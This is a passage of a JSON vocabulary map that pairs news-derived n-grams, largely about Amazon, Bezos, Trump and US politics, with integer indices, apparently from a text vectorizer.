"adopting technologies": 32035, "celebrate nationaldonutday": 32036, "including major": 32037, "abuses exposed": 32038, "owner commerce": 32039, "joenia wapichana": 32040, "media trends": 32041, "vulnerable victims": 32042, "swilling": 32043, "lamster uses": 32044, "el chapo": 32045, "redrawing": 32046, "reform probably": 32047, "protein ecosystem": 32048, "york really": 32049, "phone searched": 32050, "set price": 32051, "5826": 32052, "removing various": 32053, "smartphone wireless": 32054, "killed mueller": 32055, "kowtows": 32056, "high value": 32057, "sky pond": 32058, "autonomous driving": 32059, "problem report": 32060, "dear cking": 32061, "650 words": 32062, "decimals geometry": 32063, "2018 security": 32064, "burnish": 32065, "headquarters close": 32066, "sector collective": 32067, "manipulation schemes": 32068, "upcoming real": 32069, "trump jabs": 32070, "republicans say": 32071, "dramatically": 32072, "ad player": 32073, "victims": 32074, "group projected": 32075, "trump uber": 32076, "nests": 32077, "make dramatic": 32078, "pop stores": 32079, "business recent": 32080, "product solution": 32081, "icann ran": 32082, "program herera": 32083, "real policy": 32084, "hill consulting": 32085, "iraqi village": 32086, "red zone": 32087, "truck departed": 32088, "vmw announced": 32089, "collapse professor": 32090, "exclusive license": 32091, "political upheaval": 32092, "buckey wolfe": 32093, "endures": 32094, "story telling": 32095, "assignments list": 32096, "invited king": 32097, "army": 32098, "budget gaps": 32099, "investor richelieu": 32100, "battle nbc": 32101, "participant organizations": 32102, "diagnosis robert": 32103, "prakriya": 32104, "barr nomination": 32105, "turing gpu": 32106, "bucks bezos": 32107, "police shooting": 32108, "harbored lot": 32109, "presentations trump": 32110, "deal papazian": 32111, "shares buy": 32112, "campaign tens": 32113, "research firm": 32114, "grips pet": 32115, "unrelated": 32116, "business dealingswith": 32117, "stereo market": 32118, "books cbs": 32119, "stretchy comfortable": 32120, "tax abatements": 32121, "repeat buyers": 32122, "technologies amazon": 32123, "partisan spite": 32124, "ounce": 32125, "shipping represented": 32126, "printing software": 32127, "believed facebook": 32128, "laws sufficient": 32129, "atini": 32130, "authentic selection": 32131, "shaving": 32132, "000z author": 32133, "new fedex": 32134, "living longer": 32135, "subsidiary names": 32136, "local title": 32137, "getting counterfeit": 32138, "balloting": 32139, "company presence": 32140, "home shipping": 32141, "antonio campus": 32142, "government executive": 32143, "trump drew": 32144, "victorias": 32145, "trillion dollar": 32146, "low profit": 32147, "staffed": 32148, "purchase thanks": 32149, "stretches": 32150, "nintendo toad": 32151, "swamp stopping": 32152, "fact galloway": 32153, "board comprising": 32154, "age party": 32155, "ret": 32156, "140bn fortune": 32157, "sasahara": 32158, "british man": 32159, "characteristic": 32160, "surely isn": 32161, "act just": 32162, "jungles": 32163, "2013 twitter": 32164, "trump mission": 32165, "universal praise": 32166, "eyes 133": 32167, "complaint did": 32168, "near anchorage": 32169, "read judge": 32170, "main differences": 32171, "bezos addressed": 32172, "exit database": 32173, "_______________\u043d\u043d______________\u043d__": 32174, "asked americans": 32175, "employs 125": 32176, "cycle type": 32177, "governors david": 32178, "failure wapo": 32179, "altitude": 32180, "dangled": 32181, "blunt pipe": 32182, "reporter questioned": 32183, "864 billion": 32184, "mexican politics": 32185, "bridis tbridis": 32186, "nov 250": 32187, "makes 200": 32188, "profit think": 32189, "rtdschapiro": 32190, "just wasting": 32191, "female students": 32192, "week findings": 32193, "rival amazon": 32194, "bounce right": 32195, "theirinvestigation": 32196, "rising house": 32197, "chose arlington": 32198, "analysts microsoft": 32199, "pruitt zinke": 32200, "senior center": 32201, "arrow": 32202, "meal time": 32203, "benz rolling": 32204, "snl showing": 32205, "double duty": 32206, "children entertainer": 32207, "large teams": 32208, "current 1tn": 32209, "political hit": 32210, "candidate lou": 32211, "lanes": 32212, "timeframes stocks": 32213, "sense twitter": 32214, "provisionally cleared": 32215, "ice unnecessarily": 32216, "chinese turn": 32217, "sleeper agents": 32218, "tortured": 32219, "charity donations": 32220, "moons": 32221, "deals remember": 32222, "overwhelming majority": 32223, "fated": 32224, "cim": 32225, "georgia children": 32226, "whitney mike": 32227, "surveillance tyranny": 32228, "real surprises": 32229, "management contract": 32230, "following information": 32231, "view calif": 32232, "week ago": 32233, "spying surveillance": 32234, "city councilman": 32235, "power amazon": 32236, "pelosi using": 32237, "bolsonaro slate": 32238, "feels uncomfortable": 32239, "fatally": 32240, "ernst mike": 32241, "big fine": 32242, "just strengthen": 32243, "sterling": 32244, "suppresses": 32245, "violence hate": 32246, "amazon expects": 32247, "overwhelmingly stupid": 32248, "bowie finding": 32249, "started collecting": 32250, "reactid 172": 32251, "m8 e8": 32252, "endangered": 32253, "ranking antitrust": 32254, "enquirer leaked": 32255, "story robert": 32256, "key learnings": 32257, "listings alibaba": 32258, "state young": 32259, "saved millions": 32260, "workers did": 32261, "sen deputy": 32262, "say recognizing": 32263, "report lola": 32264, "letter makes": 32265, "alive trump": 32266, "general james": 32267, "1539102369 based": 32268, "rick santorum": 32269, "frequent twitter": 32270, "investigation ncaa": 32271, "machine translation": 32272, "electoral symbol": 32273, "minimum standards": 32274, "notably weaker": 32275, "clear eyed": 32276, "carriers customs": 32277, "podcast majority": 32278, "shareholders": 32279, "investors especially": 32280, "post points": 32281, "manufacturing component": 32282, "bezos contrasted": 32283, "local player": 32284, "media politics": 32285, "bad month": 32286, "base todd": 32287, "kessler glennkesslerwp": 32288, "tax claim": 32289, "boxes traveling": 32290, "growing pool": 32291, "elevate bezos": 32292, "york excited": 32293, "slams house": 32294, "volume": 32295, "bank notes": 32296, "2018 ending": 32297, "release public": 32298, "ua": 32299, "year legal": 32300, "fbi did": 32301, "easier beach": 32302, "receiving government": 32303, "operator": 32304, "parking lot": 32305, "soares mma": 32306, "confrontation": 32307, "district encompasses": 32308, "little headway": 32309, "run schools": 32310, "country ongoing": 32311, "media abuzz": 32312, "told listeners": 32313, "dc phil": 32314, "remains exceptionally": 32315, "prerequisite": 32316, "angrily criticized": 32317, "brexit strategy": 32318, "priya anand": 32319, "magnified": 32320, "economy overheating": 32321, "suburbs": 32322, "amazon founder": 32323, "roll right": 32324, "parise": 32325, "396 reduced": 32326, "employee groups": 32327, "practices hearing": 32328, "brennan reportedly": 32329, "billionaire called": 32330, "nonprofit digital": 32331, "wonderful thing": 32332, "arkansas family": 32333, "barbara kollmeyer": 32334, "included cecily": 32335, "philip good": 32336, "elective": 32337, "severely affected": 32338, "citywide vocational": 32339, "intellectual property": 32340, "hardy ranks": 32341, "rejected pure": 32342, "sophia": 32343, "hit today": 32344, "vote wars": 32345, "2070 rtx": 32346, "desires return": 32347, "impressive growth": 32348, "vendors possibly": 32349, "control democrats": 32350, "estranged novelist": 32351, "ethic": 32352, "trump confident": 32353, "amazon seattle": 32354, "y_173218731_200015422000928060_388160 jpg": 32355, "gaby dunn": 32356, "aughts world": 32357, "tepper": 32358, "post later": 32359, "detection analysis": 32360, "public responses": 32361, "miguel": 32362, "criteria": 32363, "boycottebay": 32364, "lucrative hush": 32365, "tense relationship": 32366, "mining industry": 32367, "long international": 32368, "solid ticket": 32369, "tax transcripts": 32370, "michael grunwald": 32371, "billion order": 32372, "flashier": 32373, "financial backers": 32374, "britain newest": 32375, "vice": 32376, "symphonic music": 32377, "consider creating": 32378, "various package": 32379, "movements share": 32380, "danbury": 32381, "tencent tcehy": 32382, "subsequent letter": 32383, "improvement retailer": 32384, "journalist best": 32385, "including physical": 32386, "nears posted": 32387, "democrats marvel": 32388, "music bar": 32389, "mongabay brazil": 32390, "rekognition misidentified": 32391, "minneapolis lawyer": 32392, "tariffs trump": 32393, "settlement foie": 32394, "rebates altogether": 32395, "claude monet": 32396, "tonight herera": 32397, "including self": 32398, "amazon introduces": 32399, "different mindsets": 32400, "videoid business": 32401, "fox marines": 32402, "truly unusual": 32403, "ceo jack": 32404, "reed hastings": 32405, "coxno0ni6f": 32406, "pet collars": 32407, "step melania": 32408, "house issued": 32409, "took naps": 32410, "gone zach": 32411, "grassroots activists": 32412, "preliminary investigation": 32413, "senate showdown": 32414, "prefunded pension": 32415, "people sad": 32416, "disbanded": 32417, "albany hospital": 32418, "recognition tech": 32419, "making wage": 32420, "charged extra": 32421, "boston family": 32422, "frequently tweeted": 32423, "terrific gayle": 32424, "amazon jamanxim": 32425, "slammed trump": 32426, "affectionate": 32427, "tim pearce": 32428, "new blow": 32429, "easily earns": 32430, "years extending": 32431, "amazon bailing": 32432, "losses really": 32433, "guinness": 32434, "week sanders": 32435, "mixed sex": 32436, "income earners": 32437, "clean label": 32438, "ebay pressured": 32439, "ukip brexit": 32440, "threatening self": 32441, "66947332": 32442, "editorial cartoonist": 32443, "council committee": 32444, "noted earlier": 32445, "paper obtained": 32446, "aninternal investigation": 32447, "enigmatic": 32448, "business tags": 32449, "support approximately": 32450, "buying sanders": 32451, "assume new": 32452, "rental empire": 32453, "dogged": 32454, "trailforks": 32455, "big plants": 32456, "simmering tensions": 32457, "internal deliberations": 32458, "worth 285": 32459, "began reporting": 32460, "changing careers": 32461, "market oriented": 32462, "horribly": 32463, "commerce shippers": 32464, "farr miller": 32465, "house favor": 32466, "2014 house": 32467, "encouraging customers": 32468, "regarding counterfeit": 32469, "clear defeat": 32470, "homes including": 32471, "advantage": 32472, "geekwire": 32473, "problems tsxv": 32474, "hurt try": 32475, "media consolidation": 32476, "hughes page": 32477, "terms economicrent": 32478, "bush era": 32479, "1007 small": 32480, "reprieve": 32481, "pushing prices": 32482, "deeply troubling": 32483, "pained adieu": 32484, "gives birth": 32485, "alaska allows": 32486, "frank nightly": 32487, "arloc sherman": 32488, "controlled senate": 32489, "florida mayor": 32490, "bases posted": 32491, "ecommerce retailers": 32492, "135 hard": 32493, "locker fl": 32494, "things clearly": 32495, "ad blackmail": 32496, "hits seattle": 32497, "impact earnings": 32498, "health board": 32499, "rail truck": 32500, "unshowy performances": 32501, "tom whipple": 32502, "blasio billion": 32503, "makes sham": 32504, "economic columnist": 32505, "enquirer editors": 32506, "believers wall": 32507, "career blowing": 32508, "institution overall": 32509, "coalition john": 32510, "adage birds": 32511, "maximum ordering": 32512, "216 8687": 32513, "contradicted": 32514, "98point6": 32515, "amazon twitter": 32516, "microblogging platform": 32517, "dollars annually": 32518, "independent vendors": 32519, "daughter preference": 32520, "inc_notepad": 32521, "life synagogue": 32522, "post motto": 32523, "inquire": 32524, "number waiting": 32525, "sporting event": 32526, "hate list": 32527, "congresswoman ocasio": 32528, "growing grip": 32529, "conservative line": 32530, "house approved": 32531, "potential senate": 32532, "cheap space": 32533, "abc finds": 32534, "fine survives": 32535, "safety record": 32536, "industrial output": 32537, "sayingthings": 32538, "funded study": 32539, "latest saga": 32540, "user numbers": 32541, "petrochemical": 32542, "herera demand": 32543, "topping 150": 32544, "financial situations": 32545, "momentum arun": 32546, "decay eyeshadow": 32547, "pacific economic": 32548, "manager olive": 32549, "leavell investment": 32550, "24m shares": 32551, "chronic problem": 32552, "educate wider": 32553, "hugh": 32554, "switch built": 32555, "presentation words": 32556, "bezoss privacy": 32557, "dna test": 32558, "primary customer": 32559, "price increases": 32560, "contemporary politics": 32561, "348 360": 32562, "increased quarterly": 32563, "paul schiraldi": 32564, "deal uk": 32565, "preempted": 32566, "giant claims": 32567, "couldn refuse": 32568, "stamps disclosure": 32569, "news reporting": 32570, "big firms": 32571, "television star": 32572, "manage investigations": 32573, "google today": 32574, "twitter wadhwa": 32575, "number remains": 32576, "attack known": 32577, "bezos revealing": 32578, "york communist": 32579, "fact toronto": 32580, "finance scientists": 32581, "greatest": 32582, "anonymously discuss": 32583, "overshadow": 32584, "benchmark crude": 32585, "says remaining": 32586, "remains bullish": 32587, "2018 cascading": 32588, "promised governor": 32589, "bruce mehlman": 32590, "slogans outside": 32591, "lab verifies": 32592, "usps effectively": 32593, "soup": 32594, "sceptical": 32595, "shuddering footfall": 32596, "charlamagne": 32597, "roberts plays": 32598, "enrolled": 32599, "shelf": 32600, "overbilling": 32601, "mayor signed": 32602, "mcdonell": 32603, "hiring speeds": 32604, "verbal exchange": 32605, "far gobbled": 32606, "smita prakash": 32607, "selling real": 32608, "despite earnings": 32609, "wage saying": 32610, "life producer": 32611, "196000": 32612, "world told": 32613, "pelositakes": 32614, "content articles": 32615, "potentially impactful": 32616, "property owners": 32617, "storm sped": 32618, "123s": 32619, "179 500": 32620, "enhancing": 32621, "box tableau": 32622, "parcel rates": 32623, "week mccaskill": 32624, "kidnapping cameroon": 32625, "js leaf": 32626, "vestager office": 32627, "agency survival": 32628, "craves": 32629, "ann maples": 32630, "final recorded": 32631, "question giving": 32632, "unscripted": 32633, "europe auto": 32634, "tippy": 32635, "programs internships": 32636, "term short": 32637, "2019 rates": 32638, "knmmx7byqm brennan": 32639, "normandy": 32640, "past expectations": 32641, "huawei warned": 32642, "litigator": 32643, "wisconsin republican": 32644, "bezos adulterous": 32645, "forgive bezos": 32646, "2dy1qhmfka": 32647, "brawl": 32648, "stores furniture": 32649, "particular trump": 32650, "buenas": 32651, "backgrounds build": 32652, "pattinson mia": 32653, "house retaliated": 32654, "initialize window": 32655, "sudden pestilential": 32656, "nonetheless": 32657, "hiker": 32658, "television sets": 32659, "engineers diseases": 32660, "receive email": 32661, "technically": 32662, "reality proves": 32663, "sjostrom gabby": 32664, "billion giving": 32665, "day planslawmakers": 32666, "party guests": 32667, "signs pointing": 32668, "barry hart": 32669, "included prurient": 32670, "called sen": 32671, "969 billion": 32672, "var m8i": 32673, "principal financial": 32674, "statement feb": 32675, "added strongly": 32676, "valued differently": 32677, "harvard medical": 32678, "multiple points": 32679, "reuters mackenzie": 32680, "bucking": 32681, "tank ocasio": 32682, "slot ahead": 32683, "run market": 32684, "enjoys great": 32685, "whiner": 32686, "care providers": 32687, "dollars gianaris": 32688, "connect identity": 32689, "time wisely": 32690, "ultimately force": 32691, "lagarde": 32692, "livingsocial": 32693, "smoking": 32694, "carolina lawyer": 32695, "huge business": 32696, "robyn moore": 32697, "support special": 32698, "year military": 32699, "interpreting religious": 32700, "nude model": 32701, "771": 32702, "law acting": 32703, "abuse treatment": 32704, "transphobic": 32705, "hari sumpah": 32706, "solicitation": 32707, "hot meal": 32708, "risk making": 32709, "gnashing": 32710, "moderate built": 32711, "painting": 32712, "violence bartiromo": 32713, "quoted statement": 32714, "stupid error": 32715, "better conditions": 32716, "intensifying consensys": 32717, "cortez partly": 32718, "avalanche": 32719, "irrefutable": 32720, "primarily equipment": 32721, "cuseum": 32722, "haptx diane": 32723, "giant sends": 32724, "companies troubled": 32725, "journalist bob": 32726, "delay paying": 32727, "deal despite": 32728, "people vulnerable": 32729, "rates expected": 32730, "amazon cbs": 32731, "row earlier": 32732, "318 billion": 32733, "defineproperty r4ee": 32734, "bookshelves filled": 32735, "onewest mortgage": 32736, "pedro": 32737, "wage heres": 32738, "vie pass": 32739, "nutrition assistance": 32740, "election pearl": 32741, "disputed": 32742, "alleges google": 32743, "independent bookstore": 32744, "wealth says": 32745, "webdisplayname business": 32746, "netflix algorithm": 32747, "issued joint": 32748, "exploiting labor": 32749, "mixed feelings": 32750, "legislation facebook": 32751, "correctly execute": 32752, "trending tweet": 32753, "lucy hale": 32754, "pieced": 32755, "philip merrill": 32756, "power according": 32757, "money tech": 32758, "firebrand political": 32759, "tolls previously": 32760, "enormously important": 32761, "started formal": 32762, "kindle device": 32763, "pickers": 32764, "trumps turned": 32765, "199": 32766, "new levies": 32767, "newsmakers": 32768, "thestreet oct": 32769, "solovic": 32770, "nominating board": 32771, "children instead": 32772, "advertisements constituted": 32773, "including potential": 32774, "wapo published": 32775, "approach underscored": 32776, "son look": 32777, "355 million": 32778, "trulia": 32779, "bezos lit": 32780, "visit letter": 32781, "union took": 32782, "terrible fix": 32783, "980063581592047617": 32784, "build second": 32785, "josh constine": 32786, "political systems": 32787, "tweet violates": 32788, "influence political": 32789, "civil lawsuits": 32790, "tax decrease": 32791, "book promises": 32792, "mentioned replying": 32793, "cloud transformation": 32794, "syria defense": 32795, "true originalimageurl": 32796, "amazon basics": 32797, "holdings trump": 32798, "president begin": 32799, "paradigm changing": 32800, "don worry": 32801, "important amazon": 32802, "associate encountered": 32803, "commerce powerhouse": 32804, "project struck": 32805, "fueled": 32806, "arms offer": 32807, "agencies don": 32808, "journalist jennifer": 32809, "europe amazon": 32810, "suffocating": 32811, "adequate postal": 32812, "arabia point": 32813, "tunnel tolls": 32814, "aggressive stance": 32815, "press release": 32816, "court online": 32817, "sneaky ways": 32818, "proceedings according": 32819, "amazon passes": 32820, "nasdaq adp": 32821, "exchange kit": 32822, "kondabolu": 32823, "broken relationships": 32824, "arranged": 32825, "twitter complete": 32826, "basic skills": 32827, "noah emmerich": 32828, "addo": 32829, "yorkers protest": 32830, "limbo big": 32831, "broke story": 32832, "helicopters": 32833, "immigration crises": 32834, "preemptive": 32835, "right elites": 32836, "armstrongabc11 status": 32837, "regressive spokesman": 32838, "increasingly big": 32839, "prospect especially": 32840, "unprecedented beauty": 32841, "happen discussion": 32842, "polar vortex": 32843, "employers know": 32844, "based": 32845, "customers lives": 32846, "aisle tabloid": 32847, "sellers voice": 32848, "200 sheets": 32849, "public according": 32850, "week highlights": 32851, "levies imposed": 32852, "people concern": 32853, "trigger normal": 32854, "future content": 32855, "afternoon shirts": 32856, "indolence": 32857, "rule teasing": 32858, "private charter": 32859, "president theodore": 32860, "powerful corporations": 32861, "railway": 32862, "42am": 32863, "pressure read": 32864, "verizon cable": 32865, "leaf video_headline": 32866, "otherwords org": 32867, "antitrust experts": 32868, "mind trump": 32869, "insider ate": 32870, "usatodaysports": 32871, "amazon experience": 32872, "knockout debut": 32873, "larger fulfillment": 32874, "risky behavior": 32875, "years caption": 32876, "understands newspapers": 32877, "quite obvious": 32878, "unfathomably rich": 32879, "similarly rated": 32880, "canada prime": 32881, "marc eliot": 32882, "house gathering": 32883, "party audit": 32884, "apparently busted": 32885, "trucking startup": 32886, "global tv": 32887, "washington politicians": 32888, "holiday sales": 32889, "file gop": 32890, "ghost town": 32891, "company interests": 32892, "quantifying": 32893, "emanuel support": 32894, "california republicans": 32895, "finally released": 32896, "valley workers": 32897, "cigna acquisition": 32898, "hostility": 32899, "saying people": 32900, "staffers scrambling": 32901, "adding 500": 32902, "ipo opening": 32903, "possible shea": 32904, "michelle jokes": 32905, "ian wheat": 32906, "extravagant kits": 32907, "evangelist": 32908, "called keyless": 32909, "quarter total": 32910, "candidate emerges": 32911, "public trading": 32912, "help china": 32913, "identity opting": 32914, "stock shares": 32915, "ordinarily loathe": 32916, "post comparing": 32917, "ebook version": 32918, "tabloid": 32919, "financial svcs": 32920, "forecasting monica": 32921, "circles bezos": 32922, "chairman powell": 32923, "internet stacy": 32924, "requiring localities": 32925, "delayed": 32926, "create wealth": 32927, "hourly orange": 32928, "journalist joshua": 32929, "trumpish style": 32930, "court despite": 32931, "really enjoyed": 32932, "gains longshot": 32933, "howes": 32934, "estate philanthropy": 32935, "problems including": 32936, "origin based": 32937, "delinquency": 32938, "fast forward": 32939, "lehrer congestion": 32940, "galls": 32941, "used veterans": 32942, "ice containing": 32943, "000 opioid": 32944, "metoo means": 32945, "services highways": 32946, "conduct amazon": 32947, "avoided wages": 32948, "cultural level": 32949, "tmsnrt": 32950, "city place": 32951, "101st": 32952, "carl bernstein": 32953, "company rents": 32954, "larcker director": 32955, "bias chart": 32956, "fox view": 32957, "859": 32958, "new android": 32959, "trump carell": 32960, "walled garden": 32961, "worker testimonial": 32962, "volunteers continue": 32963, "region bezos": 32964, "editing tool": 32965, "quite healthy": 32966, "palace daywear": 32967, "issuing licenses": 32968, "pioneering pre": 32969, "skokie": 32970, "banking sector": 32971, "wallets financial": 32972, "governance experts": 32973, "snap food": 32974, "education believing": 32975, "alfiky": 32976, "insurance bezos": 32977, "ceo officially": 32978, "stock basis": 32979, "new focus": 32980, "timed bathroom": 32981, "law accruing": 32982, "gains helped": 32983, "mega billionaire": 32984, "flier miles": 32985, "amazonhttps": 32986, "rivals": 32987, "stay intact": 32988, "12th straight": 32989, "means vietnamese": 32990, "baked": 32991, "trump challenges": 32992, "join created": 32993, "crazytown don": 32994, "outburst": 32995, "robot called": 32996, "speaking directly": 32997, "thanksgiving greetings": 32998, "bolsonaro met": 32999, "growth fed": 33000, "disclose sales": 33001, "animal altogether": 33002, "thriving global": 33003, "seeks relief": 33004, "government accountability": 33005, "t\u00e9a": 33006, "southwest united": 33007, "thailand austin": 33008, "dillon": 33009, "urging temporary": 33010, "local economic": 33011, "potentially huge": 33012, "newly appointed": 33013, "gaetz": 33014, "analytical tool": 33015, "looking better": 33016, "escrow": 33017, "amazon bullied": 33018, "designs enterprise": 33019, "completely ignored": 33020, "var c5q": 33021, "sanchez reportedly": 33022, "vitalhub corp": 33023, "dollar sky": 33024, "alphabet amazon": 33025, "database shows": 33026, "collaboration": 33027, "laws facebook": 33028, "function gb": 33029, "follows evelyn": 33030, "warehouses areas": 33031, "busting message": 33032, "founder make": 33033, "tech firms": 33034, "gritty neighbourhood": 33035, "longtime media": 33036, "l9x r4ee": 33037, "time disappoint": 33038, "secretary mnuchin": 33039, "introduced new": 33040, "dynamic marketplace": 33041, "d8 c2x": 33042, "hortons launches": 33043, "guerrilla movement": 33044, "jr telling": 33045, "stability looking": 33046, "primary spherical": 33047, "azure services": 33048, "mail story": 33049, "bracing": 33050, "labels": 33051, "balsam firs": 33052, "secretary sarah": 33053, "involved key": 33054, "fined 5m": 33055, "lawsuit won": 33056, "ingraham angle": 33057, "6000": 33058, "chicagoland": 33059, "night market": 33060, "sen julia": 33061, "cost hit": 33062, "regional mayors": 33063, "writes matt": 33064, "cheektowaga": 33065, "regional carrier": 33066, "discussed including": 33067, "presidential rant": 33068, "uncovering cash": 33069, "headlamp": 33070, "company transportation": 33071, "heard yanny": 33072, "deal apparently": 33073, "ratings points": 33074, "thedc trump": 33075, "special forces": 33076, "industries": 33077, "insider american": 33078, "government awards": 33079, "independent judiciary": 33080, "offer commerce": 33081, "coroner": 33082, "residents refusal": 33083, "wins adam": 33084, "visited moscow": 33085, "smears ami": 33086, "rival sees": 33087, "past natural": 33088, "product promotions": 33089, "trolls alike": 33090, "twitter taylor": 33091, "todd verhoeven": 33092, "cash new": 33093, "sam esmail": 33094, "barb bichelmeyer": 33095, "safety concerns": 33096, "tohappen": 33097, "itep wrote": 33098, "richest people": 33099, "seized control": 33100, "leve": 33101, "officially start": 33102, "education efforts": 33103, "chinese import": 33104, "bell tonight": 33105, "common definition": 33106, "shares currently": 33107, "redis labs": 33108, "received audio": 33109, "stance makes": 33110, "recent creation": 33111, "anti globalization": 33112, "founding partner": 33113, "representative amazon": 33114, "people don": 33115, "experts previously": 33116, "centralized": 33117, "companies dating": 33118, "adherents": 33119, "year ami": 33120, "owner parent": 33121, "remains neglected": 33122, "imported cars": 33123, "read ratings": 33124, "opinion jeff": 33125, "breaking pilot": 33126, "feminist thriller": 33127, "cnn descriptionplaintext": 33128, "flashing bunch": 33129, "felony": 33130, "ferrari served": 33131, "chairman treated": 33132, "hands share": 33133, "trump inside": 33134, "thanks ken": 33135, "hollywood treatment": 33136, "seattle passed": 33137, "stripes doing": 33138, "2018 xiaomi": 33139, "genuine antitrust": 33140, "france conventions": 33141, "match returning": 33142, "arancha": 33143, "probably topple": 33144, "wing conspiracy": 33145, "speaking english": 33146, "share estimate": 33147, "galvanized change": 33148, "professor called": 33149, "tuttle": 33150, "feezt58pfz": 33151, "paying large": 33152, "low 2018": 33153, "verde": 33154, "ceo recalled": 33155, "retailers pass": 33156, "order mandating": 33157, "indie folk": 33158, "handbags watches": 33159, "quotemeorelse": 33160, "mail calls": 33161, "portfolio names": 33162, "essentially store": 33163, "mergers": 33164, "trumps genetalia": 33165, "fiddle status": 33166, "blackkklansman cast": 33167, "cash held": 33168, "screaming voter": 33169, "expected settlement": 33170, "falsely believe": 33171, "tsxv tgv": 33172, "accomplice jack": 33173, "real problems": 33174, "building bigger": 33175, "fairly obvious": 33176, "decision applies": 33177, "bezos point": 33178, "recross": 33179, "middle": 33180, "conservatives learned": 33181, "thomas novel": 33182, "jin": 33183, "values based": 33184, "intel specific": 33185, "force attempted": 33186, "cripple": 33187, "life actually": 33188, "corker": 33189, "roger goodell": 33190, "immunizations": 33191, "topping million": 33192, "mobiles": 33193, "life shooting": 33194, "occupies rarified": 33195, "pushes shares": 33196, "soft spot": 33197, "environmental policy": 33198, "course vaping": 33199, "red hats": 33200, "places katera": 33201, "data record": 33202, "mobile channel": 33203, "mma sinisterlab": 33204, "microsoft overtook": 33205, "ht digital": 33206, "respective": 33207, "wrotea": 33208, "million amid": 33209, "market ex": 33210, "stoneman douglas": 33211, "simpson": 33212, "offers backstory": 33213, "making 150": 33214, "118": 33215, "angeles aug": 33216, "major prize": 33217, "provides messaging": 33218, "carries ivanka": 33219, "obama described": 33220, "1994 ceo": 33221, "appetite": 33222, "maybe blue": 33223, "year according": 33224, "tragic": 33225, "digital platforms": 33226, "donnelly enjoyed": 33227, "brexit issue": 33228, "concrete concessions": 33229, "gaspard": 33230, "day fox": 33231, "matt sooter": 33232, "adsense billion": 33233, "country marking": 33234, "coast stocks": 33235, "deal breaking": 33236, "publicly traded": 33237, "new fed": 33238, "stake los": 33239, "congress antitrust": 33240, "sgoing": 33241, "wages terrific": 33242, "fubotv": 33243, "hp_lead_pos1": 33244, "startup sales": 33245, "calling perceived": 33246, "tax documents": 33247, "great thing": 33248, "persecution complex": 33249, "safe place": 33250, "connector bridge": 33251, "allegedly refuses": 33252, "manafort twitter": 33253, "don look": 33254, "usurp congressional": 33255, "shipka sally": 33256, "camera movements": 33257, "tax expert": 33258, "briefs mark": 33259, "news possibly": 33260, "commercial links": 33261, "curbing silicon": 33262, "governors": 33263, "doctors potentially": 33264, "agreement granting": 33265, "ecommerce actually": 33266, "daniel goodman": 33267, "cuts fourth": 33268, "held discussions": 33269, "facebook want": 33270, "libya": 33271, "marty singer": 33272, "local tribe": 33273, "stock chart": 33274, "branding expert": 33275, "p7a b7a": 33276, "box rates": 33277, "potential ties": 33278, "observed": 33279, "ago ap": 33280, "2020 trump": 33281, "businesses hmd": 33282, "shooting deaths": 33283, "political forces": 33284, "multiple channels": 33285, "backed subscription": 33286, "elements photo": 33287, "bendib illustrates": 33288, "beau": 33289, "ban men": 33290, "ice help": 33291, "showing little": 33292, "susan cain": 33293, "neighbors": 33294, "buses": 33295, "kelly chief": 33296, "processed 3647": 33297, "enlarged subsidies": 33298, "allegedly working": 33299, "borrow funds": 33300, "stronger presence": 33301, "allen unreleased": 33302, "cap amazon": 33303, "story regarding": 33304, "trump threatens": 33305, "stocks marijuana": 33306, "2015 announced": 33307, "just picked": 33308, "suspended credentials": 33309, "trivial": 33310, "democracy democracy": 33311, "regional": 33312, "started spreading": 33313, "koch": 33314, "large legal": 33315, "luntz fareed": 33316, "business discounts": 33317, "watch chip": 33318, "sanchez claimed": 33319, "renewed concerns": 33320, "shame tracey": 33321, "raw deal": 33322, "wasn russians": 33323, "nbc universal": 33324, "multiple reporters": 33325, "recent behavior": 33326, "casey gerald": 33327, "college weighs": 33328, "brian ossenbeck": 33329, "putting close": 33330, "ook op": 33331, "won comment": 33332, "departures flotus": 33333, "artless": 33334, "conservation amazon": 33335, "digital experiences": 33336, "uproar": 33337, "inane": 33338, "google specifically": 33339, "harris 2020": 33340, "solyndra": 33341, "purchased online": 33342, "johnson thinks": 33343, "prices 2018": 33344, "bloomberg president": 33345, "absence left": 33346, "creative cartography": 33347, "sierra leone": 33348, "general matthew": 33349, "fanh complied": 33350, "pacific mumbai": 33351, "dealbook briefing": 33352, "marketwatch critical": 33353, "commerce platforms": 33354, "luxurious love": 33355, "condemns devos": 33356, "did note": 33357, "determined": 33358, "jen sincero": 33359, "lady interview": 33360, "arden quite": 33361, "opened private": 33362, "anthony adragna": 33363, "evaluation": 33364, "talks money": 33365, "extremely nervous": 33366, "bush met": 33367, "counterclaim challenging": 33368, "spy tariff": 33369, "year ended": 33370, "cond\u00e9": 33371, "reversed course": 33372, "conducted independent": 33373, "a7": 33374, "pearl harbor": 33375, "pled": 33376, "obviously amazon": 33377, "led congress": 33378, "sock firm": 33379, "rielly noted": 33380, "yields new": 33381, "mgmt accumulated": 33382, "contracts": 33383, "stanley equity": 33384, "miracle berkshire": 33385, "europe reason": 33386, "godwin": 33387, "gif": 33388, "julia sommerfeld": 33389, "rumored tent": 33390, "deservedly": 33391, "mitchell noted": 33392, "york daily": 33393, "inbound": 33394, "agency director": 33395, "aiken huffpost": 33396, "years unheard": 33397, "incident michael": 33398, "just broke": 33399, "nation values": 33400, "corporates continue": 33401, "food safety": 33402, "new home": 33403, "bellow love": 33404, "companies alphabet": 33405, "taxes nationwide": 33406, "expressed strong": 33407, "economist says": 33408, "states karen": 33409, "hands dirty": 33410, "key reason": 33411, "judicialwatch": 33412, "deleo told": 33413, "plans amazon": 33414, "father scrambling": 33415, "causing tremendous": 33416, "market holding": 33417, "memorable music": 33418, "backwoods": 33419, "earnings investors": 33420, "blackface halloween": 33421, "vn 170": 33422, "conversations inside": 33423, "cover orange": 33424, "world faces": 33425, "rich girl": 33426, "arnault": 33427, "nrf president": 33428, "unresolved": 33429, "column colonial": 33430, "general category": 33431, "transgender equality": 33432, "recruit extra": 33433, "moneys": 33434, "economic council": 33435, "jonah hill": 33436, "helped quell": 33437, "washington amazon": 33438, "natives": 33439, "sanders getty": 33440, "cancelled": 33441, "philippe": 33442, "college students": 33443, "nyse dfs": 33444, "ron kim": 33445, "speaker corey": 33446, "formalization": 33447, "america postal": 33448, "team player": 33449, "wegmann good": 33450, "summer doldrums": 33451, "google issued": 33452, "possibly damaging": 33453, "siddiqui likewise": 33454, "cap invest": 33455, "forever stamp": 33456, "kernen reports": 33457, "investigate bad": 33458, "experts looking": 33459, "school killing": 33460, "kids need": 33461, "twitter feldmaniac": 33462, "74m shares": 33463, "2017 